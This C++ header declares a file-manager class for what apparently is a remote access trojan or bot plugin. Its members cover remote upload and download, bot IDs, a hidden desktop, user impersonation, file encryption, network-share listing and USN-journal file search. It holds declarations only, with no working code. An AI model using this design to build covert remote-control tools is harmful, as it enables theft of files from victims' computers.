#include #include #include #include "Manager.h" #include #include "zip.h" #pragma once #include typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 ,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突 #include "MasterEncoder.h" namespace SimplePluginsFile { typedef struct { UINT nFileSize; // 文件大小 UINT nSendSize; // 已发送大小 } SENDFILEPROGRESS, * PSENDFILEPROGRESS; typedef struct { DWORD dwSizeHigh; DWORD dwSizeLow; BOOL error; } FILESIZE; typedef struct { TCHAR SearchFileName[MAX_PATH]; TCHAR SearchPath[MAX_PATH]; BOOL bEnabledSubfolder; } FILESEARCH; typedef struct { BYTE Token; int w,h,size; } FILEPICINFO; struct SEARCH { TCHAR TC_disk[8]; TCHAR TC_search[MAX_PATH]; }; typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef struct _FILE_NAME_INFORMATION { ULONG FileNameLength; WCHAR FileName[MAX_PATH]; } FILE_NAME_INFORMATION; typedef LONG(__stdcall* ZwQueryInformationFile) ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG FileInformationLength, IN ULONG FileInformationClass ); WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr); class CFileManager : public CManager { public: MasterEncoder m_encoder; DWORD dwRet; void OnReceive(LPBYTE lpBuffer, ULONG nSize); UINT SendDriveList(); CFileManager(ISocketBase* pClient, int n, void* user); virtual ~CFileManager(); private: LPBYTE lpSendPacket; std::list m_UploadList; BOOL m_bIsWow64; UINT m_nTransferMode; HANDLE m_hFileSend; HANDLE m_hFileRecv; TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件 __int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度 bool benofrce; TCHAR* copyfile; HANDLE ImpersonateLoggedOnUserWrapper(); bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); bool UploadToRemote(LPBYTE lpBuffer); bool FixedUploadList(LPCTSTR lpszDirectory); void StopTransfer(BOOL bIsUpload); UINT SendFilesList(TCHAR* lpszDirectory); bool DeleteDirectory(LPCTSTR lpszDirectory); UINT SendFileSize(LPCTSTR lpszFileName); void SendFileData(LPBYTE lpBuffer); void CreateFolder(LPBYTE lpBuffer); void Rename(LPBYTE lpBuffer); int SendToken(BYTE bToken); void CreateLocalRecvFile(LPBYTE lpBuffer); void SetTransferMode(LPBYTE lpBuffer); void GetFileData(); void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize); void UploadNext(); BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd); void ExeCompress(BYTE* lpBuffer); void SendSearchData(LPBYTE lpBuffer); BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath); void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber); protected: HANDLE m_hWorkThread; BOOL bIsStopSearch; FILESEARCH filesearch; void StopSearchTheard(); void SendSearchFilesList(LPCTSTR str); static void WINAPI FindFileThread(LPVOID lparam); void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder); TCHAR g_desktopName[MAX_PATH]; ULONG PseudoRand(ULONG* seed); void GetBotId(TCHAR* botId); HDESK g_hDesk;; bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath); void SendNetHood(); //发送共享文件目录 void encfile(char* in_filename); void decryptfile(char* in_filename); bool FnDelPathFile(TCHAR* tc_path); TCHAR* zippath_t; HANDLE m_hWorkZIPThread; BOOL bIsStopZIP; void StopZIPTheard(); void StartZIP(); static void WINAPI FindZIPThread(LPVOID lparam); void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen); //info void SendFileInfo(TCHAR* filepath,TCHAR * type); bool ResizePicture(TCHAR* strSource); TCHAR* volName; // 驱动盘名称 TCHAR* tc_search; // 搜索关键词 HANDLE hVol; // 用于储存驱动盘句柄 USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息 long counter; LPBYTE lpBuffer; char* c_pathname; }; }